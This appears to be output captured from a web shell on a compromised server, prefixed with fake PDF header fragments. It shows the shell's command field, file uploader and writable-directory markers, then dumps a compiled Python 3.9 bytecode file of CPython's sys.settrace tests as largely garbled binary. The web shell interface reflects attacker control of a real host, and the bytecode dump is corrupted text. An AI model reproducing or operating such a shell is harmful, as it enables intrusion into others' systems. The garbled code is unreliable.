%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /vddos/python/lib/python3.9/test/__pycache__/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //vddos/python/lib/python3.9/test/__pycache__/test_sys_settrace.cpython-39.pyc
a

�_gܸ�@sJddlmZddlZddlZddlZddlZddlmZddlZGdd�d�Z	Gdd�d�Z
dd	�Zd
d�Zgd�e_
d
d�Zgd�e_
dd�Zgd�e_
dd�Zgd�e_
dd�Zgd�e_
dd�Zgd�e_
dd�Zgd�e_
dd�Zd d!�Zgd"�e_
d#d$�Zd%d&�Zgd'�e_
d(d)�Zd*d+�Zd,ge_
d-d.�Zd/d0�Zgd1�e_
d2d3�Zgd4�e_
d5d6�Zgd7�e_
d8d9�Zgd:�e_
d;d<�Zd=d>�Z gd?�d@dAgdBd@dCge _
GdDdE�dE�Z!GdFdG�dGej"�Z#GdHdI�dIe#�Z$ej%GdJdK�dKe#��Z&GdLdM�dMej"�Z'GdNdO�dO�Z(dPdQ�Z)dRdS�Z*GdTdU�dUej"�Z+e,dVk�rFe�-�dS)W�)�supportN��wrapsc@s(eZdZdZdd�Zdd�Zdd�ZdS)	�tracecontextz/Context manager that traces its enter and exit.cCs||_||_dS�N��output�value��selfrr	�r�5/vddos/python/lib/python3.9/test/test_sys_settrace.py�__init__sztracecontext.__init__cCs|j�|j�dSr�r�appendr	�rrrr
�	__enter__sztracecontext.__enter__cGs|j�|j�dSrr�r�exc_inforrr
�__exit__sztracecontext.__exit__N)�__name__�
__module__�__qualname__�__doc__rrrrrrr
rsrc@s(eZdZdZdd�Zdd�Zdd�ZdS)	�asynctracecontextz>Asynchronous context manager that traces its aenter and aexit.cCs||_||_dSrrr
rrr
rszasynctracecontext.__init__c�s|j�|j�dSrrrrrr
�
__aenter__szasynctracecontext.__aenter__c�s|j�|j�dSrrrrrr
�	__aexit__!szasynctracecontext.__aexit__N)rrrrrrrrrrr
rsrcCs|D]
}|VqdS)z0Convert an iterable to an asynchronous iterator.Nr)�iterable�xrrr
�	asynciter$srcCsdS�N�rrrrr
�basic+sr")�r�call�r!�line�r!�returncCsd}~d}dSr r�rrrr
�arigo_example0;sr*)r#r%��r&��r&�r.r(cCsd}~d}dSr rr)rrr
�arigo_example1Hsr0cCsd}~d}dSr rr)rrr
�arigo_example2Usr1)r#r%r+��r&��r&�r5r(cCsd}~d}dSr rr)rrr
�one_instr_linegsr7)r#r%r+��r&�r9r(cCs$d}td�D]}|rd}qd}qdS�Nr!r,��range)r�arrr
�no_pop_topsrs
r?)
r#r%r+r8��r&r+r8r2r+)r,r(cCsd}|stqd}dSr )Zbla)�yrrrr
�
no_pop_blocks�srC)r#r%r+r2�r3r(cCsd}dSr rr)rrr
�called�srEcCs
t�dSr)rErrrr
r$�sr$)r#r%����r$����r&�rIr(r'cCst�dSr��	Exceptionrrrr
�raises�srMcCs"z
t�WntyYn0dSr)rMrLrrrr
�
test_raise�s
rN)r#r%r+rFrH�rI�	exceptionrJ�r,rPr8r2rDcCst�|�|t��j_dSr)�sys�settrace�	_getframe�f_back�f_trace�Z	tracefuncrrr
�_settrace_and_return�s
rXcCst|�dSr)rXrWrrr
�settrace_and_return�srYr'cCst�|�|t��j_t�dSr)rRrSrTrUrV�RuntimeErrorrWrrr
�_settrace_and_raise�s
r[cCs$zt|�WntyYn0dSr)r[rZrWrrr
�settrace_and_raise�sr\)rQr8r2rDcCsd}d}||kr|d}ndS)Nr.r!r)r>�brrr
�ireturn_example�s

r^)r#r%r+r8r2r@�rAr(cCs<tdd�}zd}||}|d7}qWnty6Yn0dS)Nrr9r!�r=�
IndexError)�items�ir]rrr
�tightloop_example�s
rd)r#r%r+r8r-r-r-r-)r.rPr@r4r6cCs4tdd�}zd}||}qWnty.Yn0dS)Nr!r3rr`)rbrcrrr
�tighterloop_example�s
re)r#r%r+r8r2r2r2r2)r3rPr-r@r_ccsz
dVWn0dS)NTrrrrr
�generator_functionsrfcCs tt��}td�D]}|}qdS)N�
)�anyrfr=)rrBrrr
�generator_examples
ri)
r#r+�i����r$����r&����r&�rnr()rnr$�rnrP)���r&)rqr(r-r@rgr/c@s.eZdZd
dd�Zdd�Zdd�Zdd	�ZdS)�TracerNcCs||_||_g|_dSr)�trace_line_events�trace_opcode_events�events)rrsrtrrr
r+szTracer.__init__cCs(|jdur|j|_|jdur$|j|_dSr)rs�
f_trace_linesrt�f_trace_opcodes)r�framerrr
�_reconfigure_frame0s

zTracer._reconfigure_framecCs"|�|�|j�|j|f�|jSr�ryrur�f_lineno�trace�rrx�event�argrrr
r|6s
zTracer.tracecCs0|�|�dd�dD�|j�|j|f�|jS)Ncss|]
}|VqdSrr)�.0�orrr
�	<genexpr>=�z)Tracer.traceWithGenexp.<locals>.<genexpr>�r!rzr}rrr
�traceWithGenexp;s
zTracer.traceWithGenexp)NN)rrrrryr|r�rrrr
rr*s
rrc@seZdZdd�Zdd�Zedd��Zdd�Zd	d
�Zdd�Z	d
d�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Zd+d,�Zd-d.�Zd/d0�Zd1d2�Zd3d4�Zd5d6�Zd7d8�Zd9d:�Z d;d<�Z!d=d>�Z"d?S)@�
TraceTestCasecCs(t��|_t��|�tjt���dSr)�gc�	isenabled�using_gc�disable�
addCleanuprRrS�gettracerrrr
�setUpFs
zTraceTestCase.setUpcCs|jrt��dSr)r�r��enablerrrr
�tearDownKszTraceTestCase.tearDowncCst�S)z@Helper to allow test subclasses to configure tracers differently�rrrrrr
�make_tracerOszTraceTestCase.make_tracerc
sN�fdd�|D�}||krJ|�dd�t�dd�|D�dd�|D����dS)Ncsg|]\}}|�|f�qSrr)r��l�e��line_offsetrr
�
<listcomp>Ur�z0TraceTestCase.compare_events.<locals>.<listcomp>z"events did not match expectation:
�
cSsg|]}t|��qSr��str�r�rrrr
r�Yr�cSsg|]}t|��qSrr�r�rrr
r�Zr�)�fail�join�difflibZndiff)rr�ru�expected_eventsrr�r
�compare_eventsTs���zTraceTestCase.compare_eventscCs<|��}t�|j�|�t�d�|�|jj|j|�dSr)r�rRrSr|r��__code__�co_firstlinenoru)r�funcru�tracerrrr
�run_and_compare\s

�zTraceTestCase.run_and_comparecCs|�||j�dSr)r�ru�rr�rrr
�run_testdszTraceTestCase.run_testcCs6|��}||j�t�d�|�|jj|j|j�dSr)r�r|rRrSr�r�r�ru)rr�r�rrr
�	run_test2gs


�zTraceTestCase.run_test2cCst�d�t��dusJ�dSr�rRrSr�rrrr
�test_set_and_retrieve_nonens
z(TraceTestCase.test_set_and_retrieve_nonec	CsBdd�}t�|�zt��|us$J�Wt�d�nt�d�0dS)NcWsdSrr)�argsrrr
�fnssz4TraceTestCase.test_set_and_retrieve_func.<locals>.fnr�)rr�rrr
�test_set_and_retrieve_funcrs

z(TraceTestCase.test_set_and_retrieve_funccCs|�t�dSr)r�r"rrrr
�
test_01_basic|szTraceTestCase.test_01_basiccCs|�t�dSr)r�r*rrrr
�test_02_arigo0~szTraceTestCase.test_02_arigo0cCs|�t�dSr)r�r0rrrr
�test_02_arigo1�szTraceTestCase.test_02_arigo1cCs|�t�dSr)r�r1rrrr
�test_02_arigo2�szTraceTestCase.test_02_arigo2cCs|�t�dSr)r�r7rrrr
�test_03_one_instr�szTraceTestCase.test_03_one_instrcCs|�t�dSr)r�rCrrrr
�test_04_no_pop_blocks�sz#TraceTestCase.test_04_no_pop_blockscCs|�t�dSr)r�r?rrrr
�test_05_no_pop_tops�sz!TraceTestCase.test_05_no_pop_topscCs|�t�dSr)r�r$rrrr
�test_06_call�szTraceTestCase.test_06_callcCs|�t�dSr)r�rNrrrr
�
test_07_raise�szTraceTestCase.test_07_raisecCs|�t�dSr)r�rYrrrr
�test_08_settrace_and_return�sz)TraceTestCase.test_08_settrace_and_returncCs|�t�dSr)r�r\rrrr
�test_09_settrace_and_raise�sz(TraceTestCase.test_09_settrace_and_raisecCs|�t�dSr)r�r^rrrr
�test_10_ireturn�szTraceTestCase.test_10_ireturncCs|�t�dSr)r�rdrrrr
�test_11_tightloop�szTraceTestCase.test_11_tightloopcCs|�t�dSr)r�rerrrr
�test_12_tighterloop�sz!TraceTestCase.test_12_tighterloopcCsH|�t�|��}t�|j�t�t�d�|�tjj|j	tj	�dSr)
r�rir�rRrSr�r�r�r�ru)rr�rrr
�test_13_genexp�s


�zTraceTestCase.test_13_genexpcCsdd�}|�|gd��dS)NcSsd}dS)NFrrr)rrr
�onliners�sz2TraceTestCase.test_14_onliner_if.<locals>.onliners)r#r%r8r:�r�)rr�rrr
�test_14_onliner_if�s
�z TraceTestCase.test_14_onliner_ifcCs4dd�}|�|gd��dd�}|�|gd��dS)NcSstd�D]}qdS�Nr,r<r)rrr
�for_example�sz0TraceTestCase.test_15_loops.<locals>.for_example)r#r%r+r%r+r%r'cSsd}|dkr|d8}qdS)Nr,rr!rr)rrr
�
while_example�sz2TraceTestCase.test_15_loops.<locals>.while_example)r#r+r8r2r8r2r8r:r�)rr�r�rrr
�
test_15_loops�s�
�zTraceTestCase.test_15_loopscCs&i}td|�|�|dgd��dS)Nadef f():
































































































































































































































































    pass�f)r#)�r&)r�r()�execr�)r�	namespacerrr
�test_16_blank_lines�s
�z!TraceTestCase.test_16_blank_linescCsdd�}|�|ddg�dS)NcSsdt��_d}dSr�)rRrTrV)�linenorrr
r��s
z0TraceTestCase.test_17_none_f_trace.<locals>.funcr#r%r�r�rrr
�test_17_none_f_trace�s��z"TraceTestCase.test_17_none_f_tracecCsdd�}|�|gd��dS)Nc
SsTz<zt�Wn.ty8}z�d}d}WYd}~n
d}~00WntyNYn0dS)N�	SomethingrK)r�rrBrrr
r��sz4TraceTestCase.test_18_except_with_name.<locals>.func)
r#r%r+r8�r9rPr2r-)�r&)�	r&)r�r(r�r�rrr
�test_18_except_with_name�s�z&TraceTestCase.test_18_except_with_namecCsdd�}|�|gd��dS)NcSs4zzt�Wd}nd}0Wnty.d}Yn0dS)Nr��rK)rBr]rrr
r��sz7TraceTestCase.test_19_except_with_finally.<locals>.func)	r#r%r+r8r�r-r@r4r6r�r�rrr
�test_19_except_with_finally�s	�z)TraceTestCase.test_19_except_with_finallycspGdd�d���fdd���fdd�}|��}gd�}z||j�WntyVYn0|��jj|j|�dS)Nc@s$eZdZdd�Zdd�Zdd�ZdS)zBTraceTestCase.test_20_async_for_loop.<locals>.AsyncIteratorWrappercSst|�|_dSr)�iter�_it)r�objrrr
rszKTraceTestCase.test_20_async_for_loop.<locals>.AsyncIteratorWrapper.__init__cSs|Srrrrrr
�	__aiter__szLTraceTestCase.test_20_async_for_loop.<locals>.AsyncIteratorWrapper.__aiter__c�s(zt|j�WSty"t�Yn0dSr)�nextr��
StopIteration�StopAsyncIterationrrrr
�	__anext__szLTraceTestCase.test_20_async_for_loop.<locals>.AsyncIteratorWrapper.__anext__N)rrrrr�r�rrrr
�AsyncIteratorWrappersr�c�s$�d�2z3dHW}|}q6d}dS)N�abc�*r)ZletterrrB)r�rr
�
doit_asyncsz8TraceTestCase.test_20_async_for_loop.<locals>.doit_asyncc	s:��}z"t�|�|�d�Wt�d�nt�d�0dSr)rRrS�send)r�r)r�rr
�run$s

z1TraceTestCase.test_20_async_for_loop.<locals>.run)(r#r%)i�r$)���r&)r�r()i����r$)���r&)r�r(rjrkrmro�r!rPr+r%rjrkrmror�r+r%rjrkrmror�r+r%rjrkrmrp)rGr&rHrOrJr�r8r:)r�r|rLr�r�r�ru)rr�r�rur)r�r�r
�test_20_async_for_loops
)
�z$TraceTestCase.test_20_async_for_loopN)#rrrr�r��staticmethodr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrrr
r�Bs@


		r�cs,eZdZdZ�fdd�Zedd��Z�ZS)�SkipLineEventsTraceTestCasez8Repeat the trace tests, but with per-line events skippedcs"dd�|D�}t��|||�dS)NcSsg|]}|ddkr|�qSr%r�r�r�rrr
r�br�z>SkipLineEventsTraceTestCase.compare_events.<locals>.<listcomp>)�superr�)rr�rur�Zskip_line_events��	__class__rr
r�asz*SkipLineEventsTraceTestCase.compare_eventscCs
tdd�S)NF)rsr�rrrr
r�esz'SkipLineEventsTraceTestCase.make_tracer�rrrrr�r�r��
__classcell__rrr�r
r�^sr�cs,eZdZdZ�fdd�Zedd��Z�ZS)�TraceOpcodesTestCasez;Repeat the trace tests, but with per-opcodes events enabledcsFdd�|D�}t|�dkr2|jt|�t|�dd�t��|||�dS)NcSsg|]}|ddkr|�qS)r!Zopcoderr�rrr
r�or�z7TraceOpcodesTestCase.compare_events.<locals>.<listcomp>r!z)No 'opcode' events received by the tracer)�msg)�lenZ
assertLessr�r�)rr�rur�Zskip_opcode_eventsr�rr
r�ns�z#TraceOpcodesTestCase.compare_eventscCs
tdd�S)NT)rtr�rrrr
r�usz TraceOpcodesTestCase.make_tracerr�rrr�r
r�jsr�c@s\eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�ZdS)�RaisingTraceFuncTestCasecCs|�tjt���dSr�r�rRrSr�rrrr
r�{szRaisingTraceFuncTestCase.setUpcCs||jkrt�n|jSdS)zXA trace function that raises an exception in response to a
        specific trace event.N)�raiseOnEvent�
ValueErrorr|r}rrr
r|~s
zRaisingTraceFuncTestCase.tracecCs |jdkrd}d|}ndSdS)zThe function to trace; raises an exception if that's the case
        we're testing, so that the 'exception' trace event fires.rPrr!N)r�)rrrBrrr
r��s

zRaisingTraceFuncTestCase.fc	Csx||_zPtt��d�D]:}t�|j�z|��WntyFYq0|�d�qWnt	yr|�d�Yn0dS)zTTests that an exception raised in response to the given event is
        handled OK.r!zexception not raised!zrecursion counter not resetN)
r�r=rR�getrecursionlimitrSr|r�r�r�rZ)rr~rcrrr
�run_test_for_event�sz+RaisingTraceFuncTestCase.run_test_for_eventcCs|�d�dS)Nr$�r�rrrr
�	test_call�sz"RaisingTraceFuncTestCase.test_callcCs|�d�dS)Nr&r�rrrr
�	test_line�sz"RaisingTraceFuncTestCase.test_linecCs|�d�dS)Nr(r�rrrr
�test_return�sz$RaisingTraceFuncTestCase.test_returncCs|�d�dS�NrPr�rrrr
�test_exception�sz'RaisingTraceFuncTestCase.test_exceptioncs\dd����fdd��t���z
��Wn"tyLddl}|��Yn0|�d�dS)NcSstd�D]}t|�qdS)Nr.)r=�print)rcrrr
r��sz4RaisingTraceFuncTestCase.test_trash_stack.<locals>.fcs&|dkr"|j�jjdkr"td���S)Nr&r,z
i am crashing)r{r�r�rZ)rx�why�extra�r��grr
r��s
�z4RaisingTraceFuncTestCase.test_trash_stack.<locals>.grzexception not propagated)rRrSrZr�Zcollectr�)rr�rr�r
�test_trash_stack�s

z)RaisingTraceFuncTestCase.test_trash_stackc	sfdd�}��fdd��t��}z6t���z
|�WntyFYn0Wt�|�nt�|�0dS)NcSsd}|jdS)Nr)Zno_such_attrr)rrr
r��sz<RaisingTraceFuncTestCase.test_exception_arguments.<locals>.fcs"|dkr|\}}}��|t��Sr�)ZassertIsInstancerL)rxr~r�typerPr|�r�rrr
r��s
z<RaisingTraceFuncTestCase.test_exception_arguments.<locals>.g)rRr�rS�AttributeError)rr�Zexistingrrr
�test_exception_arguments�s

z1RaisingTraceFuncTestCase.test_exception_argumentsN)
rrrr�r|r�r�r�r�r�r�r�rrrrr
r�zs	r�c@s"eZdZdZd	dd�Zdd�ZdS)
�
JumpTracerz>Defines a trace function that jumps from one place to another.r&FcCs6|j|_||_||_||_|r"dn|jj|_d|_dS)NF)r��code�jumpFrom�jumpTor~r��	firstLine�done)r�functionrrr~�	decoratedrrr
r�szJumpTracer.__init__cCs�|jr
dS|jdur4|j|jkr4|dkr4|jd|_||jkr�|jr�|j|j|jkr�|}|durv|j|jkrv|j}qZ|dur�z|j|j|_Wnt	y�|j|_Yn0d|_|j
S)Nr&r!T)r	r�f_coderr{r~rrUr�	TypeErrorr|)rrxr~rr�rrr
r|�s&��zJumpTracer.traceN)r&F)rrrrrr|rrrr
r�s
�
	rc
CsJz|�d�Wn6tyD}z|�dt|�v�WYd}~n
d}~00dS)Nr,Zinteger)rr�r��rr�rrr
�no_jump_to_non_integerssrc
CsVzt��j}|j|_Wn2tyH}zdt|�vr4�WYd}~nd}~00td��dS)Nr|z'Trace-function-less jump failed to fail)rRrTrUr{r�r��AssertionError)Zprevious_framer�rrr
�no_jump_without_trace_functions
rc@s:eZdZdd�Zdd�Zd�dd	�Zd�d
d�Zd�dd
�Zd�dd�Zedddg�dd��Z	eddgd��dd��Z
eddddg�dd��Zeddgd��dd��Zeddddg�d d!��Z
eddgd"��d#d$��Zedddg�d%d&��Zeddgd'��d(d)��Zedd*dd*g�d+d,��Zedd-dd-ged.f�d/d0��Zedd1dd1ged.f�d2d3��Zedd1ddged4f�d5d6��Zedddged4f�d7d8��Zeddddg�d9d:��Zeddgd;��d<d=��Zeddddg�d>d?��Zeddddg�d@dA��ZeddgdB��dCdD��ZeddgdB��dEdF��Zedddg�dGdH��ZeddgdI��dJdK��Zedddg�dLdM��Z eddgdN��dOdP��Z!edd-gdQ��dRdS��Z"eddgdT��dUdV��Z#eddgdW��dXdY��Z$eddgdW��dZd[��Z%eddgd\��d]d^��Z&eddgd\��d_d`��Z'eddgda��dbdc��Z(eddgda��ddde��Z)eddgdf��dgdh��Z*eddgdf��didj��Z+edkd1gdl��dmdn��Z,eddgdo��dpdq��Z-eddgdo��drds��Z.eddgdt��dudv��Z/eddkgdw��dxdy��Z0edd-d-dkg�dzd{��Z1edd-d-dkg�d|d}��Z2edddged~f�dd���Z3edd�dged�f�d�d���Z4edddged�f�d�d���Z5edddged�f�d�d���Z6edddged�f�d�d���Z7edddged�f�d�d���Z8eddged�f�d�d���Z9eddged�f�d�d���Z:eddddged�f�d�d���Z;eddddged�f�d�d���Z<eddged�f�d�d���Z=eddged�f�d�d���Z>eddgd��ed�f�d�d���Z?eddgd��ed�f�d�d���Z@eddged�f�d�d���ZAeddddged�f�d�d���ZBeddged�f�d�d���ZCedddged�f�d�d���ZDedd-dged�f�d�d���ZEedddg�d�d���ZFeddgd���d�d���ZGeddgd���d�d���ZHeddged�f�d�d���ZIeddged�f�d�d���ZJeddgd��ed�f�d�d���ZKedddged�f�d�d���ZLed-dgd��ed�f�d�d���ZMed-dgd��ed�f�d�d���ZNeddgd¢�d�dĄ�ZOeddgd¢�d�dƄ�ZPedd-ddged4f�d�dȄ�ZQed-dddged�f�d�dʄ�ZRed-dddged�f�d�d̄�ZSd�d΄ZTd�dЄZUd�d҄ZVd�dԄZWedddgd�ed�fd׍d�dل�ZXedddgd�ed�fd׍d�d݄�ZYedddgd�ed�fd׍d�d��ZZeddddgd�d�d�d��Z[dS)��JumpTestCasecCs |�tjt���t�d�dSrr�rrrr
r�szJumpTestCase.setUpcCs.||kr*|�dt|�ddt|��dS)NzOutputs don't match:
Expected: r�z
Received: )r��repr)r�expectedZreceivedrrr
�compare_jump_outputs����z JumpTestCase.compare_jump_outputNr&Fc
Cs~t|||||�}t�|j�g}	|dur2||	�n2|j|��||	�Wd�n1sZ0Yt�d�|�||	�dSr)rrRrSr|�assertRaisesRegexr�
rr�rrr�errorr~rr�rrrr
r�!s
&
zJumpTestCase.run_testc
Cs�t|||||�}t�|j�g}	|dur8t�||	��n8|j|��t�||	��Wd�n1sf0Yt�d�t�d�|�||	�dSr)	rrRrSr|�asyncior�rZset_event_loop_policyrrrrr
�run_async_test.s,

zJumpTestCase.run_async_testcs�����fdd�}|S)zqDecorator that creates a test that makes a jump
        from one place to another in the following code.
        cs"t��������fdd��}|S)Nc	s|j������dd�dS�NT)rr~r)r�r�rr~rr�rrrr
�testAs�z7JumpTestCase.jump_test.<locals>.decorator.<locals>.testr�r�r�rr~rrr�r�r
�	decorator@sz)JumpTestCase.jump_test.<locals>.decoratorr�rrrrr~r!rrr
�	jump_test<szJumpTestCase.jump_testcs�����fdd�}|S)z~Decorator that creates a test that makes a jump
        from one place to another in the following asynchronous code.
        cs"t��������fdd��}|S)Nc	s|j������dd�dSr)rrrrr
rMs�z=JumpTestCase.async_jump_test.<locals>.decorator.<locals>.testrrrr r
r!Lsz/JumpTestCase.async_jump_test.<locals>.decoratorrr"rrr
�async_jump_testHszJumpTestCase.async_jump_testr!r9cCs"|�d�|�d�|�d�dS�Nr!r,r9�r�rrrr
�test_jump_simple_forwardsVs

z&JumpTestCase.test_jump_simple_forwardsr,)r!r!r,cCs|�d�|�d�dSr;r&r'rrr
�test_jump_simple_backwards\s
z'JumpTestCase.test_jump_simple_backwardsr.cCs6dD]"}|�d�dD]}|�d�qq|�d�dS)N�r!r,r,�r9r3r.r&�rrc�jrrr
�test_jump_out_of_block_forwardsas

z,JumpTestCase.test_jump_out_of_block_forwardsrA)r!r9r.r!r9r.rAr5cCsJ|�d�dD],}|�d�dD]}|�d�q |�d�q|�d�dS)Nr!r�r9)r,r.rAr5r&r,rrr
� test_jump_out_of_block_backwardsis

z-JumpTestCase.test_jump_out_of_block_backwardsr3c�sHdD]>}tddg�2z 3dHW}|�d�|�d�q6|�d�qdS)Nr�r!r,r9r3r.�rr�rrcrrr
�)test_jump_out_of_async_for_block_forwardsss

z6JumpTestCase.test_jump_out_of_async_for_block_forwards)r,r3r,r3r.rAc�sPdD]F}|�d�tdg�2z 3dHW}|�d�|�d�q6|�d�qdS)Nr�r,r!r3r.rA�rrr1rrr
�*test_jump_out_of_async_for_block_backwards{s

z7JumpTestCase.test_jump_out_of_async_for_block_backwardscCs|�d�|�d�dS)Nr!r9r&r'rrr
�test_jump_to_codeless_line�s
z'JumpTestCase.test_jump_to_codeless_line)r!r,r9cCs"|�d�|�d�|�d�dSr%r&r'rrr
�test_jump_to_same_line�s

z#JumpTestCase.test_jump_to_same_liner�cCs�zH|�d�W|�d�z|�d�W|�d�n|�d�0|�d�n<|�d�z|�d�W|�d�n|�d�0|�d�0dS)Nr,r3rAr�r�r&r'rrr
�test_jump_in_nested_finally�s
�
z(JumpTestCase.test_jump_in_nested_finallyr5�c	CsRz,|�d�ddW|�d�|�d�dS|�d�|�d�0|�d�dS)Nr,r!rrAr5r�r&r'rrr
�test_jump_in_nested_finally_2�s


��
z*JumpTestCase.test_jump_in_nested_finally_2�cCs�z�|�d�ddW|�d�z|�d�W|�d�n|�d�0|�d�dSz|�d�W|�d�n|�d�0|�d�n<|�d�z|�d�W|�d�n|�d�0|�d�0|�d�dS)	Nr,r!rrAr�rgr:�r&r'rrr
�test_jump_in_nested_finally_3�s*


��
z*JumpTestCase.test_jump_in_nested_finally_3Zunreachablec	Cs�zL|�d�W|�d�|�d�dSz|�d�W|�d�q�|�d�0nH|�d�|�d�YdSz|�d�W|�d�n|�d�00|�d�dS)Nr,r3r.r�rgr;r&r'rrr
�5test_no_jump_over_return_try_finally_in_finally_block�s"

�

zBJumpTestCase.test_no_jump_over_return_try_finally_in_finally_blockcCs$|�d�|�d�q
|�d�dS)Nr!r9r3r&r'rrr
� test_no_jump_infinite_while_loop�s
z-JumpTestCase.test_no_jump_infinite_while_loopcCs.d}|�d�|dkr*|�d�|d7}qdS)Nr!r,r3r&r1rrr
�#test_jump_forwards_into_while_block�s


z0JumpTestCase.test_jump_forwards_into_while_block)r9r9r9r.cCs.d}|dkr |�d�|d7}q|�d�dS)Nr!r,r9r.r&r1rrr
�$test_jump_backwards_into_while_block�s


z1JumpTestCase.test_jump_backwards_into_while_blockcCsBt|d��|�d�Wd�n1s*0Y|�d�dSr%�rrr'rrr
�$test_jump_forwards_out_of_with_block�s(z1JumpTestCase.test_jump_forwards_out_of_with_blockc	�sVt|d�4IdH� |�d�Wd�IdHqH1IdHs>0Y|�d�dSr%�rrr'rrr
�*test_jump_forwards_out_of_async_with_block�s4z7JumpTestCase.test_jump_forwards_out_of_async_with_block)r!r,r!r,r9rIcCsB|�d�t|d��|�d�Wd�n1s40YdSr%�rrr'rrr
�%test_jump_backwards_out_of_with_block�s
z2JumpTestCase.test_jump_backwards_out_of_with_blockc	�sV|�d�t|d�4IdH� |�d�Wd�IdHqR1IdHsH0YdSr%�rrr'rrr
�+test_jump_backwards_out_of_async_with_block�s
z8JumpTestCase.test_jump_backwards_out_of_async_with_blockc	Cs4z|�d�W|�d�n|�d�0|�d�dS�Nr,r3r.r&r'rrr
�+test_jump_forwards_out_of_try_finally_block�sz8JumpTestCase.test_jump_forwards_out_of_try_finally_block)r!r!r9r.c	Cs4|�d�z|�d�W|�d�n|�d�0dS�Nr!r9r.r&r'rrr
�,test_jump_backwards_out_of_try_finally_block�s
z9JumpTestCase.test_jump_backwards_out_of_try_finally_blockcCs6z|�d�Wn|�d��Yn0|�d�dS�Nr,r3rAr&r'rrr
�*test_jump_forwards_out_of_try_except_blocks
z7JumpTestCase.test_jump_forwards_out_of_try_except_block)r!r!r9cCs6|�d�z|�d�Wn|�d��Yn0dSrKr&r'rrr
�+test_jump_backwards_out_of_try_except_blocks

z8JumpTestCase.test_jump_backwards_out_of_try_except_block)r3r5r�cCs\zddWn@ty2|�d�|�d�YntyL|�d�Yn0|�d�dS�Nr!rr3r.r5r���ZeroDivisionErrorr�FloatingPointErrorr'rrr
�test_jump_between_except_blockss
z,JumpTestCase.test_jump_between_except_blocks)r3rAr5cCsFzddWn*|�d�|�d�|�d�Yn0|�d�dS)Nr!rr3r.rAr5r&r'rrr
�test_jump_within_except_block"s

z*JumpTestCase.test_jump_within_except_block)r!r3r.rncCsv|�d�t|d��|�d�Wd�n1s40Yt|d��|�d�Wd�n1sh0YdS�Nr!r,r9r3r.rEr'rrr
�test_jump_across_with,s

(z"JumpTestCase.test_jump_across_withc	�s�|�d�t|d�4IdH� |�d�Wd�IdHqR1IdHsH0Yt|d�4IdH� |�d�Wd�IdHq�1IdHs�0YdSrVrGr'rrr
�test_jump_across_async_with4s

4z(JumpTestCase.test_jump_across_async_with)r!r9r.rAc	Cs`|�d�dD]B}t|d��|�d�Wd�n1s<0Y|�d�q|�d�dS�Nr!r�r9r3r.rArEr1rrr
�,test_jump_out_of_with_block_within_for_block<s
(z9JumpTestCase.test_jump_out_of_with_block_within_for_blockc
�st|�d�dD]V}t|d�4IdH� |�d�Wd�IdHqZ1IdHsP0Y|�d�q|�d�dSrYrGr1rrr
�2test_jump_out_of_async_with_block_within_for_blockEs
4z?JumpTestCase.test_jump_out_of_async_with_block_within_for_block)r!r,r9r.rIrAc	Cs�|�d�t|d��Nt|d��|�d�Wd�n1s@0Y|�d�Wd�n1sh0Y|�d�dS�Nr!r,r9r3r.rArEr'rrr
�-test_jump_out_of_with_block_within_with_blockNs
((z:JumpTestCase.test_jump_out_of_with_block_within_with_blockc
�s�|�d�t|d��bt|d�4IdH� |�d�Wd�IdHq^1IdHsT0Y|�d�Wd�n1s|0Y|�d�dSr\)rrrr'rrr
�3test_jump_out_of_async_with_block_within_with_blockWs
4(z@JumpTestCase.test_jump_out_of_async_with_block_within_with_block)r,r3rAr5cCs�zL|�d�Wt|d��|�d�Wd�n1s80Y|�d�n@t|d��|�d�Wd�n1sx0Y|�d�0|�d�dS�Nr,r3r.rAr5rEr'rrr
�0test_jump_out_of_with_block_within_finally_block`s(�(z=JumpTestCase.test_jump_out_of_with_block_within_finally_blockc�s�z`|�d�Wt|d�4IdH� |�d�Wd�IdHqV1IdHsL0Y|�d�nTt|d�4IdH� |�d�Wd�IdHq�1IdHs�0Y|�d�0|�d�dSr_rGr'rrr
�6test_jump_out_of_async_with_block_within_finally_blockjs4�4zCJumpTestCase.test_jump_out_of_async_with_block_within_finally_blockr�)r!r9r.r:r;cCsz|�d�dD]\}|�d�dD]>}|�d�z"dD]}|�d�q4W|�d�q |�d�0q |�d�q|�d	�dS)
Nr!r�r9r*r.r�rgr:r;r&)rrcr-�krrr
�&test_jump_out_of_complex_nested_blocksts


z3JumpTestCase.test_jump_out_of_complex_nested_blocks)r!r,r.cCsL|�d�t|d��}|�d�Wd�n1s40Y|�d�dS�Nr!r,r3r.rE�rrrrr
� test_jump_out_of_with_assignment�s


(z-JumpTestCase.test_jump_out_of_with_assignmentc	�s`|�d�t|d�4IdH� }|�d�Wd�IdHqR1IdHsH0Y|�d�dSrdrGrerrr
�&test_jump_out_of_async_with_assignment�s

4z3JumpTestCase.test_jump_out_of_async_with_assignment)r!rAr�r�c	Cs\|�d�z6|�d�|s*W|�d�dS|�d�W|�d�n|�d�0|�d�dS)Nr!r9r�rAr�r&r'rrr
�*test_jump_over_return_in_try_finally_block�s


�z7JumpTestCase.test_jump_over_return_in_try_finally_block)r!r9r�rgr:�
c	Csr|�d�|�d�z4|�d�|s2W|�d�qd|�d�W|�d�n|�d�0|�d�qdq
|�d�dS)Nr!r9r.rgr�r:rir&r'rrr
�)test_jump_over_break_in_try_finally_block�s



�
